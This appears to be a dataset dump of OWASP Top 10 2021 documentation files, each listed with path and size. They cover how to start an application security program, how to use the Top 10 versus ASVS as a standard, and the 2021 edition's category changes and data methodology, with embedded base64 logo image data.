v+JVIAxiYxLxaL2f8Df7k/bjBe7eUAAAAASUVORK5CYII=)
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|
A00_2021-How_to_start_an_AppSec_program_with_the_OWASP_Top_10.md | ./Top10/2021/docs/A00_2021-How_to_start_an_AppSec_program_with_the_OWASP_Top_10.md | # How to start an AppSec Program with the OWASP Top 10
Previously, the OWASP Top 10 was never designed to be the basis for an
AppSec program. However, it's essential to start somewhere for many
organizations just starting out on their application security journey.
The OWASP Top 10 2021 is a good start as a baseline for checklists and
so on, but it's not in itself sufficient.
## Stage 1. Identify the gaps and goals of your appsec program
Many Application Security (AppSec) programs try to run before they can
crawl or walk. These efforts are doomed to failure. We strongly
encourage CISOs and AppSec leadership to use [OWASP Software Assurance
Maturity Model (SAMM)](https://owaspsamm.org) to identify weaknesses
and areas for improvement over a 1-3 year period. The first step is to
evaluate where you are now, identify the gaps in governance, design,
implementation, verification, and operations you need to resolve
immediately versus those that can wait, and prioritize implementing or
improving the fifteen OWASP SAMM security practices. OWASP SAMM can help
you build and measure improvements in your software assurance efforts.
## Stage 2. Plan for a paved road secure development lifecycle
Traditionally the preserve of so-called "unicorns", the paved road
concept is the easiest way to make the most impact and scale AppSec
resources with development team velocity, which only increases every
year.
The paved road concept is "the easiest way is also the most secure way"
and should involve a culture of deep partnerships between the
development team and the security team, preferably such that they are
one and the same team. The paved road aims to continuously improve,
measure, detect and replace insecure alternatives by having an
enterprise-wide library of drop-in secured replacements, with tooling to
help see where improvements can be made by adopting the paved road. This
allows existing development tools to report on insecure builds and help
development teams self-correct away from insecure alternatives.
The paved road might seem a lot to take in, but it should be built
incrementally over time. There are other forms of appsec programs out
there, notably the Microsoft Agile Secure Development Lifecycle. Not
every appsec program methodology suits every business.
## Stage 3. Implement the paved road with your development teams
Paved roads are built with the consent and direct involvement of the
relevant development and operations teams. The paved road should be
aligned strategically with the business and help deliver more secure
applications faster. Developing the paved road should be a holistic
exercise covering the entire enterprise or application ecosystem, not a
per-app band-aid, as in the old days.
## Stage 4. Migrate all upcoming and existing applications to the paved road
Add paved road detection tools as you develop them and provide
information to development teams to improve the security of their
applications by how they can directly adopt elements of the paved road.
Once an aspect of the paved road has been adopted, organizations should
implement continuous integration checks that inspect existing code and
check-ins that use prohibited alternatives and warn or reject the build
or check-in. This prevents insecure options from creeping into code over
time, preventing technical debt and a defective insecure application.
Such warnings should link to the secure alternative, so the development
team is given the correct answer immediately. They can refactor and
adopt the paved road component quickly.
## Stage 5. Test that the paved road has mitigated the issues found in the OWASP Top 10
Paved road components should address a significant issue with the OWASP
Top 10, for example, how to automatically detect or fix vulnerable
components, or a static code analysis IDE plugin to detect injections or
even better start using a library that is known safe against injection.
The more of these secure drop-in replacements provided to teams, the better.
A vital task of the appsec team is to ensure that the security of these
components is continuously evaluated and improved.
Once they are improved, some form of communication pathway with
consumers of the component should indicate that an upgrade should occur,
preferably automatically, but if not, at least highlighted on a
dashboard or similar.
## Stage 6. Build your program into a mature AppSec program
You must not stop at the OWASP Top 10. It only covers 10 risk
categories. We strongly encourage organizations to adopt the Application
Security Verification Standard and progressively add paved road
components and tests for Level 1, 2, and 3, depending on the developed
applications' risk level.
## Going beyond
All great AppSec programs go beyond the bare minimum. Everyone must keep
going if we're ever going to get on top of appsec vulnerabilities.
- **Conceptual integrity**. Mature AppSec programs must contain some
concept of security architecture, whether a formal cloud or
enterprise security architecture or threat modeling
- **Automation and scale**. Mature AppSec programs try to automate as
much of their deliverables as possible, using scripts to emulate
complex penetration testing steps, static code analysis tools
directly available to the development teams, assisting dev teams in
building appsec unit and integration tests, and more.
- **Culture**. Mature AppSec programs try to build out the insecure
design and eliminate the technical debt of existing code by being a
part of the development team and not to the side. AppSec teams who
see development teams as "us" and "them" are doomed to failure.
- **Continuous improvement**. Mature AppSec programs look to
constantly improve. If something is not working, stop doing it. If
something is clunky or not scalable, work to improve it. If
something is not being used by the development teams and has no or
limited impact, do something different. Just because we've done
testing like desk checks since the 1970s doesn't mean it's a good
idea. Measure, evaluate, and then build or improve.
| 6,153 | 0.005868 | # How to start an AppSec Program with the OWASP Top 10
Previously, the OWASP Top 10 was never designed to be the basis for an
AppSec program. However, it's essential to start somewhere for many
organizations just starting out on their application security journey.
The OWASP Top 10 2021 is a good start as a baseline for checklists and
so on, but it's not in itself sufficient.
## Stage 1. Identify the gaps and goals of your appsec program
Many Application Security (AppSec) programs try to run before they can
crawl or walk. These efforts are doomed to failure. We strongly
encourage CISOs and AppSec leadership to use [OWASP Software Assurance
Maturity Model (SAMM)](https://owaspsamm.org) to identify weaknesses
and areas for improvement over a 1-3 year period. The first step is to
evaluate where you are now, identify the gaps in governance, design,
implementation, verification, and operations you need to resolve
immediately versus those that can wait, and prioritize implementing or
improving the fifteen OWASP SAMM security practices. OWASP SAMM can help
you build and measure improvements in your software assurance efforts.
## Stage 2. Plan for a paved road secure development lifecycle
Traditionally the preserve of so-called "unicorns", the paved road
concept is the easiest way to make the most impact and scale AppSec
resources with development team velocity, which only increases every
year.
The paved road concept is "the easiest way is also the most secure way"
and should involve a culture of deep partnerships between the
development team and the security team, preferably such that they are
one and the same team. The paved road aims to continuously improve,
measure, detect and replace insecure alternatives by having an
enterprise-wide library of drop-in secured replacements, with tooling to
help see where improvements can be made by adopting the paved road. This
allows existing development tools to report on insecure builds and help
development teams self-correct away from insecure alternatives.
The paved road might seem a lot to take in, but it should be built
incrementally over time. There are other forms of appsec programs out
there, notably the Microsoft Agile Secure Development Lifecycle. Not
every appsec program methodology suits every business.
## Stage 3. Implement the paved road with your development teams
Paved roads are built with the consent and direct involvement of the
relevant development and operations teams. The paved road should be
aligned strategically with the business and help deliver more secure
applications faster. Developing the paved road should be a holistic
exercise covering the entire enterprise or application ecosystem, not a
per-app band-aid, as in the old days.
## Stage 4. Migrate all upcoming and existing applications to the paved road
Add paved road detection tools as you develop them and provide
information to development teams to improve the security of their
applications by how they can directly adopt elements of the paved road.
Once an aspect of the paved road has been adopted, organizations should
implement continuous integration checks that inspect existing code and
check-ins that use prohibited alternatives and warn or reject the build
or check-in. This prevents insecure options from creeping into code over
time, preventing technical debt and a defective insecure application.
Such warnings should link to the secure alternative, so the development
team is given the correct answer immediately. They can refactor and
adopt the paved road component quickly.
## Stage 5. Test that the paved road has mitigated the issues found in the OWASP Top 10
Paved road components should address a significant issue with the OWASP
Top 10, for example, how to automatically detect or fix vulnerable
components, or a static code analysis IDE plugin to detect injections or
even better start using a library that is known safe against injection.
The more of these secure drop-in replacements provided to teams, the better.
A vital task of the appsec team is to ensure that the security of these
components is continuously evaluated and improved.
Once they are improved, some form of communication pathway with
consumers of the component should indicate that an upgrade should occur,
preferably automatically, but if not, at least highlighted on a
dashboard or similar.
## Stage 6. Build your program into a mature AppSec program
You must not stop at the OWASP Top 10. It only covers 10 risk
categories. We strongly encourage organizations to adopt the Application
Security Verification Standard and progressively add paved road
components and tests for Level 1, 2, and 3, depending on the developed
applications' risk level.
## Going beyond
All great AppSec programs go beyond the bare minimum. Everyone must keep
going if we're ever going to get on top of appsec vulnerabilities.
- **Conceptual integrity**. Mature AppSec programs must contain some
concept of security architecture, whether a formal cloud or
enterprise security architecture or threat modeling
- **Automation and scale**. Mature AppSec programs try to automate as
much of their deliverables as possible, using scripts to emulate
complex penetration testing steps, static code analysis tools
directly available to the development teams, assisting dev teams in
building appsec unit and integration tests, and more.
- **Culture**. Mature AppSec programs try to build out the insecure
design and eliminate the technical debt of existing code by being a
part of the development team and not to the side. AppSec teams who
see development teams as "us" and "them" are doomed to failure.
- **Continuous improvement**. Mature AppSec programs look to
constantly improve. If something is not working, stop doing it. If
something is clunky or not scalable, work to improve it. If
something is not being used by the development teams and has no or
limited impact, do something different. Just because we've done
testing like desk checks since the 1970s doesn't mean it's a good
idea. Measure, evaluate, and then build or improve.
|
A00_2021_How_to_use_the_OWASP_Top_10_as_a_standard.md | ./Top10/2021/docs/A00_2021_How_to_use_the_OWASP_Top_10_as_a_standard.md | # How to use the OWASP Top 10 as a standard
The OWASP Top 10 is primarily an awareness document. However, this has
not stopped organizations from using it as a de facto industry AppSec
standard since its inception in 2003. If you want to use the OWASP Top
10 as a coding or testing standard, know that it is the bare minimum and
just a starting point.
One of the difficulties of using the OWASP Top 10 as a standard is that
we document AppSec risks, and not necessarily easily testable issues.
For example, A04:2021-Insecure Design is beyond the scope of most forms
of testing. Another example is testing whether in-place, in-use, and effective
logging and monitoring are implemented, which can only be done with interviews and requesting a
sampling of effective incident responses. A static code analysis tool
can look for the absence of logging, but it might be impossible to
determine if business logic or access control is logging critical
security breaches. Penetration testers may only be able to determine
that they have invoked incident response in a test environment, which
is rarely monitored in the same way as production.
Here are our recommendations for when it is appropriate to use the OWASP
Top 10:
| Use Case | OWASP Top 10 2021 | OWASP Application Security Verification Standard |
|-------------------------|:-------------------:|:--------------------------------------------------:|
| Awareness | Yes | |
| Training | Entry level | Comprehensive |
| Design and architecture | Occasionally | Yes |
| Coding standard | Bare minimum | Yes |
| Secure Code review | Bare minimum | Yes |
| Peer review checklist | Bare minimum | Yes |
| Unit testing | Occasionally | Yes |
| Integration testing | Occasionally | Yes |
| Penetration testing | Bare minimum | Yes |
| Tool support | Bare minimum | Yes |
| Secure Supply Chain | Occasionally | Yes |
We would encourage anyone wanting to adopt an application security
standard to use the [OWASP Application Security Verification Standard](https://owasp.org/www-project-application-security-verification-standard/)
(ASVS), as it’s designed to be verifiable and tested, and can be used in
all parts of a secure development lifecycle.
The ASVS is the only acceptable choice for tool vendors. Tools cannot
comprehensively detect, test, or protect against the OWASP Top 10 due to
the nature of several of the OWASP Top 10 risks, with reference to
A04:2021-Insecure Design. OWASP discourages any claims of full coverage
of the OWASP Top 10, because it’s simply untrue.
| 3,174 | 0.003031 | # How to use the OWASP Top 10 as a standard
The OWASP Top 10 is primarily an awareness document. However, this has
not stopped organizations from using it as a de facto industry AppSec
standard since its inception in 2003. If you want to use the OWASP Top
10 as a coding or testing standard, know that it is the bare minimum and
just a starting point.
One of the difficulties of using the OWASP Top 10 as a standard is that
we document AppSec risks, and not necessarily easily testable issues.
For example, A04:2021-Insecure Design is beyond the scope of most forms
of testing. Another example is testing whether in-place, in-use, and effective
logging and monitoring are implemented, which can only be done with interviews and requesting a
sampling of effective incident responses. A static code analysis tool
can look for the absence of logging, but it might be impossible to
determine if business logic or access control is logging critical
security breaches. Penetration testers may only be able to determine
that they have invoked incident response in a test environment, which
is rarely monitored in the same way as production.
Here are our recommendations for when it is appropriate to use the OWASP
Top 10:
| Use Case | OWASP Top 10 2021 | OWASP Application Security Verification Standard |
|-------------------------|:-------------------:|:--------------------------------------------------:|
| Awareness | Yes | |
| Training | Entry level | Comprehensive |
| Design and architecture | Occasionally | Yes |
| Coding standard | Bare minimum | Yes |
| Secure Code review | Bare minimum | Yes |
| Peer review checklist | Bare minimum | Yes |
| Unit testing | Occasionally | Yes |
| Integration testing | Occasionally | Yes |
| Penetration testing | Bare minimum | Yes |
| Tool support | Bare minimum | Yes |
| Secure Supply Chain | Occasionally | Yes |
We would encourage anyone wanting to adopt an application security
standard to use the [OWASP Application Security Verification Standard](https://owasp.org/www-project-application-security-verification-standard/)
(ASVS), as it’s designed to be verifiable and tested, and can be used in
all parts of a secure development lifecycle.
The ASVS is the only acceptable choice for tool vendors. Tools cannot
comprehensively detect, test, or protect against the OWASP Top 10 due to
the nature of several of the OWASP Top 10 risks, with reference to
A04:2021-Insecure Design. OWASP discourages any claims of full coverage
of the OWASP Top 10, because it’s simply untrue.
|
A00_2021_Introduction.md | ./Top10/2021/docs/A00_2021_Introduction.md | # Introduction
## Welcome to the OWASP Top 10 - 2021
![OWASP Top 10 Logo](./assets/TOP_10_logo_Final_Logo_Colour.png){:class="img-responsive"}
Welcome to the latest installment of the OWASP Top 10! The OWASP Top 10 2021 is all-new, with a new graphic design and an available one-page infographic you can print or obtain from our home page.
A huge thank you to everyone that contributed their time and data for this iteration. Without you, this installment would not happen. **THANK YOU!**
## What's changed in the Top 10 for 2021
There are three new categories, four categories with naming and scoping changes, and some consolidation in the Top 10 for 2021. We've changed names when necessary to focus on the root cause over the symptom.
![Mapping](assets/mapping.png)
- **A01:2021-Broken Access Control** moves up from the fifth position to the category with the most serious web application security risk; the contributed data indicates that on average, 3.81% of applications tested had one or more Common Weakness Enumerations (CWEs) with more than 318k occurrences of CWEs in this risk category. The 34 CWEs mapped to Broken Access Control had more occurrences in applications than any other category.
- **A02:2021-Cryptographic Failures** shifts up one position to #2, previously known as **A3:2017-Sensitive Data Exposure**, which was broad symptom rather than a root cause. The renewed name focuses on failures related to cryptography as it has been implicitly before. This category often leads to sensitive data exposure or system compromise.
- **A03:2021-Injection** slides down to the third position. 94% of the applications were tested for some form of injection with a max incidence rate of 19%, an average incidence rate of 3.37%, and the 33 CWEs mapped into this category have the second most occurrences in applications with 274k occurrences. Cross-site Scripting is now part of this category in this edition.
- **A04:2021-Insecure Design** is a new category for 2021, with a focus on risks related to design flaws. If we genuinely want to "move left" as an industry, we need more threat modeling, secure design patterns and principles, and reference architectures. An insecure design cannot be fixed by a perfect implementation as by definition, needed security controls were never created to defend against specific attacks.
- **A05:2021-Security Misconfiguration** moves up from #6 in the previous edition; 90% of applications were tested for some form of misconfiguration, with an average incidence rate of 4.5%, and over 208k occurrences of CWEs mapped to this risk category. With more shifts into highly configurable software, it's not surprising to see this category move up. The former category for **A4:2017-XML External Entities (XXE)** is now part of this risk category.
- **A06:2021-Vulnerable and Outdated Components** was previously titled Using Components with Known Vulnerabilities and is #2 in the Top 10 community survey, but also had enough data to make the Top 10 via data analysis. This category moves up from #9 in 2017 and is a known issue that we struggle to test and assess risk. It is the only category not to have any Common Vulnerability and Exposures (CVEs) mapped to the included CWEs, so a default exploit and impact weights of 5.0 are factored into their scores.
- **A07:2021-Identification and Authentication Failures** was previously Broken Authentication and is sliding down from the second position, and now includes CWEs that are more related to identification failures. This category is still an integral part of the Top 10, but the increased availability of standardized frameworks seems to be helping.
- **A08:2021-Software and Data Integrity Failures** is a new category for 2021, focusing on making assumptions related to software updates, critical data, and CI/CD pipelines without verifying integrity. One of the highest weighted impacts from Common Vulnerability and Exposures/Common Vulnerability Scoring System (CVE/CVSS) data mapped to the 10 CWEs in this category. **A8:2017-Insecure Deserialization** is now a part of this larger category.
- **A09:2021-Security Logging and Monitoring Failures** was previously **A10:2017-Insufficient Logging & Monitoring** and is added from the Top 10 community survey (#3), moving up from #10 previously. This category is expanded to include more types of failures, is challenging to test for, and isn't well represented in the CVE/CVSS data. However, failures in this category can directly impact visibility, incident alerting, and forensics.
- **A10:2021-Server-Side Request Forgery** is added from the Top 10 community survey (#1). The data shows a relatively low incidence rate with above average testing coverage, along with above-average ratings for Exploit and Impact potential. This category represents the scenario where the security community members are telling us this is important, even though it's not illustrated in the data at this time.
## Methodology
This installment of the Top 10 is more data-driven than ever but not blindly data-driven. We selected eight of the ten categories from contributed data and two categories from the Top 10 community survey at a high level. We do this for a fundamental reason, looking at the contributed data is looking into the past. AppSec researchers take time to find new vulnerabilities and new ways to test for them. It takes time to integrate these tests into tools and processes. By the time we can reliably test a weakness at scale, years have likely passed. To balance that view, we use a community survey to ask application security and development experts on the front lines what they see as essential weaknesses that the data may not show yet.
There are a few critical changes that we adopted to continue to mature the Top 10.
## How the categories are structured
A few categories have changed from the previous installment of the OWASP Top Ten. Here is a high-level summary of the category changes.
Previous data collection efforts were focused on a prescribed subset of approximately 30 CWEs with a field asking for additional findings. We learned that organizations would primarily focus on just those 30 CWEs and rarely add additional CWEs that they saw. In this iteration, we opened it up and just asked for data, with no restriction on CWEs. We asked for the number of applications tested for a given year (starting in 2017), and the number of applications with at least one instance of a CWE found in testing. This format allows us to track how prevalent each CWE is within the population of applications. We ignore frequency for our purposes; while it may be necessary for other situations, it only hides the actual prevalence in the application population. Whether an application has four instances of a CWE or 4,000 instances is not part of the calculation for the Top 10. We went from approximately 30 CWEs to almost 400 CWEs to analyze in the dataset. We plan to do additional data analysis as a supplement in the future. This significant increase in the number of CWEs necessitates changes to how the categories are structured.
We spent several months grouping and categorizing CWEs and could have continued for additional months. We had to stop at some point. There are both *root cause* and *symptom* types of CWEs, where *root cause* types are like "Cryptographic Failure" and "Misconfiguration" contrasted to *symptom* types like "Sensitive Data Exposure" and "Denial of Service." We decided to focus on the *root cause* whenever possible as it's more logical for providing identification and remediation guidance. Focusing on the *root cause* over the *symptom* isn't a new concept; the Top Ten has been a mix of *symptom* and *root cause*. CWEs are also a mix of *symptom* and *root cause*; we are simply being more deliberate about it and calling it out. There is an average of 19.6 CWEs per category in this installment, with the lower bounds at 1 CWE for **A10:2021-Server-Side Request Forgery (SSRF)** to 40 CWEs in **A04:2021-Insecure Design**. This updated category structure offers additional training benefits as companies can focus on CWEs that make sense for a language/framework.
## How the data is used for selecting categories
In 2017, we selected categories by incidence rate to determine likelihood, then ranked them by team discussion based on decades of experience for *Exploitability*, *Detectability* (also *likelihood*), and *Technical Impact*. For 2021, we want to use data for *Exploitability* and *(Technical) Impact* if possible.
We downloaded OWASP Dependency Check and extracted the CVSS Exploit, and Impact scores grouped by related CWEs. It took a fair bit of research and effort as all the CVEs have CVSSv2 scores, but there are flaws in CVSSv2 that CVSSv3 should address. After a certain point in time, all CVEs are assigned a CVSSv3 score as well. Additionally, the scoring ranges and formulas were updated between CVSSv2 and CVSSv3.
In CVSSv2, both *Exploit* and *(Technical) Impact* could be up to 10.0, but the formula would knock them down to 60% for *Exploit* and 40% for *Impact*. In CVSSv3, the theoretical max was limited to 6.0 for *Exploit* and 4.0 for *Impact*. With the weighting considered, the Impact scoring shifted higher, almost a point and a half on average in CVSSv3, and exploitability moved nearly half a point lower on average.
There are 125k records of a CVE mapped to a CWE in the National Vulnerability Database (NVD) data extracted from OWASP Dependency Check, and there are 241 unique CWEs mapped to a CVE. 62k CWE maps have a CVSSv3 score, which is approximately half of the population in the data set.
For the Top Ten 2021, we calculated average *exploit* and *impact* scores in the following manner. We grouped all the CVEs with CVSS scores by CWE and weighted both *exploit* and *impact* scored by the percentage of the population that had CVSSv3 + the remaining population of CVSSv2 scores to get an overall average. We mapped these averages to the CWEs in the dataset to use as *Exploit* and *(Technical) Impact* scoring for the other half of the risk equation.
## Why not just pure statistical data?
The results in the data are primarily limited to what we can test for in an automated fashion. Talk to a seasoned AppSec professional, and they will tell you about stuff they find and trends they see that aren't yet in the data. It takes time for people to develop testing methodologies for certain vulnerability types and then more time for those tests to be automated and run against a large population of applications. Everything we find is looking back in the past and might be missing trends from the last year, which are not present in the data.
Therefore, we only pick eight of ten categories from the data because it's incomplete. The other two categories are from the Top 10 community survey. It allows the practitioners on the front lines to vote for what they see as the highest risks that might not be in the data (and may never be expressed in data).
## Why incidence rate instead of frequency?
There are three primary sources of data. We identify them as Human-assisted Tooling (HaT), Tool-assisted Human (TaH), and raw Tooling.
Tooling and HaT are high-frequency finding generators. Tools will look for specific vulnerabilities and tirelessly attempt to find every instance of that vulnerability and will generate high finding counts for some vulnerability types. Look at Cross-Site Scripting, which is typically one of two flavors: it's either a more minor, isolated mistake or a systemic issue. When it's a systemic issue, the finding counts can be in the thousands for a single application. This high frequency drowns out most other vulnerabilities found in reports or data.
TaH, on the other hand, will find a broader range of vulnerability types but at a much lower frequency due to time constraints. When humans test an application and see something like Cross-Site Scripting, they will typically find three or four instances and stop. They can determine a systemic finding and write it up with a recommendation to fix on an application-wide scale. There is no need (or time) to find every instance.
Suppose we take these two distinct data sets and try to merge them on frequency. In that case, the Tooling and HaT data will drown the more accurate (but broad) TaH data and is a good part of why something like Cross-Site Scripting has been so highly ranked in many lists when the impact is generally low to moderate. It's because of the sheer volume of findings. (Cross-Site Scripting is also reasonably easy to test for, so there are many more tests for it as well).
In 2017, we introduced using incidence rate instead to take a fresh look at the data and cleanly merge Tooling and HaT data with TaH data. The incidence rate asks what percentage of the application population had at least one instance of a vulnerability type. We don't care if it was one-off or systemic. That's irrelevant for our purposes; we just need to know how many applications had at least one instance, which helps provide a clearer view of the testing is findings across multiple testing types without drowning the data in high-frequency results. This corresponds to a risk related view as an attacker needs only one instance to attack an application successfully via the category.
## What is your data collection and analysis process?
We formalized the OWASP Top 10 data collection process at the Open Security Summit in 2017. OWASP Top 10 leaders and the community spent two days working out formalizing a transparent data collection process. The 2021 edition is the second time we have used this methodology.
We publish a call for data through social media channels available to us, both project and OWASP. On the OWASP Project page, we list the data elements and structure we are looking for and how to submit them. In the GitHub project, we have example files that serve as templates. We work with organizations as needed to help figure out the structure and mapping to CWEs.
We get data from organizations that are testing vendors by trade, bug bounty vendors, and organizations that contribute internal testing data. Once we have the data, we load it together and run a fundamental analysis of what CWEs map to risk categories. There is overlap between some CWEs, and others are very closely related (ex. Cryptographic vulnerabilities). Any decisions related to the raw data submitted are documented and published to be open and transparent with how we normalized the data.
We look at the eight categories with the highest incidence rates for inclusion in the Top 10. We also look at the Top 10 community survey results to see which ones may already be present in the data. The top two votes that aren't already present in the data will be selected for the other two places in the Top 10. Once all ten were selected, we applied generalized factors for exploitability and impact; to help rank the Top 10 2021 in a risk based order.
## Data Factors
There are data factors that are listed for each of the Top 10 Categories, here is what they mean:
- CWEs Mapped: The number of CWEs mapped to a category by the Top 10 team.
- Incidence Rate: Incidence rate is the percentage of applications vulnerable to that CWE from the population tested by that org for that year.
- Weighted Exploit: The Exploit sub-score from CVSSv2 and CVSSv3 scores assigned to CVEs mapped to CWEs, normalized, and placed on a 10pt scale.
- Weighted Impact: The Impact sub-score from CVSSv2 and CVSSv3 scores assigned to CVEs mapped to CWEs, normalized, and placed on a 10pt scale.
- (Testing) Coverage: The percentage of applications tested by all organizations for a given CWE.
- Total Occurrences: Total number of applications found to have the CWEs mapped to a category.
- Total CVEs: Total number of CVEs in the NVD DB that were mapped to the CWEs mapped to a category.
## Thank you to our data contributors
The following organizations (along with some anonymous donors) kindly donated data for over 500,000 applications to make this the largest and most comprehensive application security data set. Without you, this would not be possible.
- AppSec Labs
- Cobalt.io
- Contrast Security
- GitLab
- HackerOne
- HCL Technologies
- Micro Focus
- PenTest-Tools
- Probely
- Sqreen
- Veracode
- WhiteHat (NTT)
## Thank you to our sponsor
The OWASP Top 10 2021 team gratefully acknowledge the financial support of Secure Code Warrior and Just Eat.
[![Secure Code Warrior](assets/securecodewarrior.png){ width="256" }](https://securecodewarrior.com)
[![Just Eats](assets/JustEat.png){ width="256" }](https://www.just-eat.co.uk/)
| 16,700 | 0.015926 | # Introduction
## Welcome to the OWASP Top 10 - 2021
![OWASP Top 10 Logo](data:image/png;base64,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